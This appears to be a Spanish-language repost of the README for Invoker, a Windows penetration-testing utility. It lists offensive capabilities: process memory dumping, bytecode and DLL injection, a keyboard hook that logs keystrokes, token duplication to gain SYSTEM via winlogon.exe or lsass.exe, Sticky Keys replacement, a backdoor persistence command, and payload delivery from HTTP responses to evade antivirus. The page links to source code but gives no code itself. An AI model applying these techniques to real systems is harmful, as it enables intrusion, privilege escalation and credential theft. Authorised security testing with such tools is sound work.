Invoker Utilidad Pruebas Penetración para Windows
Invoker Utilidad Pruebas Penetración para Windows

Invoker: Utilidad Pruebas de Penetración para Windows

Invoker es una utilidad de pruebas de penetración. El objetivo es utilizar esta herramienta cuando el acceso a algunas características del sistema operativo Windows a través de la GUI está restringido.

Nota

Algunas funciones requieren privilegios administrativos.

Construido con Dev-C++ IDE v5.11 (64-bit), compilado con TDM-GCC v4.9.2 (32-bit y 64-bit) y probado en Windows 10 Enterprise OS (64-bit). Descarga Dev-C++ desde aquí.

NUEVO: Proyectos de Visual Studio Community 2019 v16.7.6 añadidos.

Hecho con fines educativos. ¡Espero que os sirva de ayuda!

Planes futuros:

  • Llamadas directas al sistema,
  • Proxy DLL,
  • COM Hijacking.

Capacidades

  • Invocar el Símbolo del sistema y PowerShell,
  • Descargar un archivo,
  • Añadir una clave del registro,
  • Programar una tarea,
  • Instrumentación de gestión de Windows (WMI),
  • Conectarse a un host remoto,
  • Terminar un proceso en ejecución,
  • Ejecutar un nuevo proceso,
  • Volcar la memoria de un proceso,
  • Inyectar un bytecode en un proceso en ejecución,
  • Inyectar una DLL en un proceso en ejecución,
  • Listar las DLL de un proceso en ejecución,
  • Instalar un procedimiento hook,
  • Habilitar los privilegios del token de acceso,
  • Duplicar un token de acceso de un proceso en ejecución,
  • Listar rutas de servicio no citadas y reiniciar un servicio en ejecución,
  • Reemplazar Sticky Keys.

Biblioteca Invoker: Comprueba todas las capacidades aquí. Siéntete libre de utilizar la biblioteca.

https://github.com/ivan-sincek/invoker/blob/master/src/Dev-C%2B%2B/Invoker/lib/invoker/invoker.cpp

Cómo Ejecutar

Ejecuta \exec\Invoker_x86.exe (32 bits) o \exec\Invoker_x64.exe (64 bits).

Para automatizar la puerta trasera mientras se configura una persistencia, puedes ejecutar el siguiente comando:

Invoker_x64.exe 192.168.8.5 9000

El Invoker de 32 bits sólo puede

  • volcar la memoria de un proceso de 32 bits,
  • inyectar un bytecode de 32 bits en un proceso de 32 bits,
  • inyectar una DLL de 32 bits en un proceso de 32 bits,
  • listar las DLL de un proceso de 32 bits,
  • instalar un procedimiento hook desde una DLL de 32 bits.

El Invoker de 64 bits sólo puede

  • volcar la memoria de un proceso de 32 bits,
  • volcar la memoria de un proceso de 64 bits,
  • inyectar un bytecode de 32 bits en un proceso de 32 bits,
  • inyectar un bytecode de 64 bits en un proceso de 64 bits,
  • inyectar una DLL de 32 bits en un proceso de 32 bits,
  • inyectar una DLL de 64 bits en un proceso de 64 bits,
  • listar las DLL de un proceso de 32 bits,
  • listar las DLL de un proceso de 64 bits.
  • instalar un procedimiento hook desde una DLL de 32 bits,
  • instalar un procedimiento hook desde una DLL de 64 bits.

Inyección de Bytecode

Eleva los privilegios inyectando bytecode en un proceso con privilegios elevados.

Esta herramienta puede analizar una respuesta HTTP y extraer el payload de un elemento personalizado, por ejemplo,de <invoker>payload</invoker> donde payload es un código/archivo binario codificado en Base64.

Comprueba el ejemplo en .

Esto puede ser útil si el antivirus está borrando constantemente tus cargas útiles (payloads) locales.

También, revisa un ejemplo adicional en .

El bytecode proporcionado seguramente no te funcionará.

Pastebin ya no funciona porque ahora redirige HTTP a HTTPS.

Utuliza ngrok para dar a su servidor web local una dirección pública.

Para ver si un proceso es de 32 o 64 bits abre el Administrador de Tareas -> haz clic en Más detalles -> ve a la pestaña Detalles -> haz clic con el botón derecho en cualquiera de las columnas -> haz clic en Seleccionar columnas -> marca la casilla Plataforma.

Además, para ver si un proceso se ejecuta con privilegios administrativos marca la casilla Elevado.

Generar una carga útil de shell inversa

Descubre cómo generar una carga útil de shell inversa desde este otro proyecto:

https://github.com/ivan-sincek/penetration-testing-cheat-sheet#generate-a-reverse-shell-payload-for-windows-os

Scripts de PowerShell

Consulta todos los scripts de PowerShell utilizados en el programa principal de C++ aquí:

https://github.com/ivan-sincek/invoker/tree/master/ps

Hacer una DLL con un procedimiento Hook

Descubre cómo hacer una DLL con un procedimiento Hook aquí:

https://github.com/ivan-sincek/invoker/blob/master/src/Dev-C%2B%2B/InvokerHook/dllmain.cpp

El procedimiento hook invocará un cuadro de mensaje en cada cierre de ventana.

También puedes ver un procedimiento hook para el teclado aquí:

https://github.com/ivan-sincek/invoker/blob/master/src/Dev-C%2B%2B/KeyboardHook/dllmain.cpp

Asegúrate de eliminar todos los artefactos creados cuando termines de hacer las pruebas, por ejemplo, elimina keylogger.log.

Obtener la cuenta del sistema local (NT AUTHORITY\SYSTEM)

Ejecuta el Invoker como administrador.

Habilita todos los privilegios del token de acceso.

Duplica el token de acceso de, por ejemplo, la aplicación de inicio de sesión de Windows (winlogon.exe) y ejecuta una nueva instancia de Invoker.

Dentro de la nueva instancia de Invoker, abre el símbolo del sistema y ejecuta whoami, ahora deberías ver nt authority\system.

Habilita todos los privilegios de acceso una vez más.

Cierre la antigua instancia de Invoker.

P.D. Obtendrás más privilegios de token de acceso desde Local Security Authority Subsystem Service (lsass.exe).

Imágenes

Captura de Invoker
Imagen 1 – Invoker
Añadir editar clave de registro
Imagen 2 – Añadir/editar clave de registro
Inyección de Bytecode
Imagen 3 – Inyección de Bytecode
Privilegios elevados
Imagen 4 – Privilegios elevados
https://github.com/ivan-sincek/invoker

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda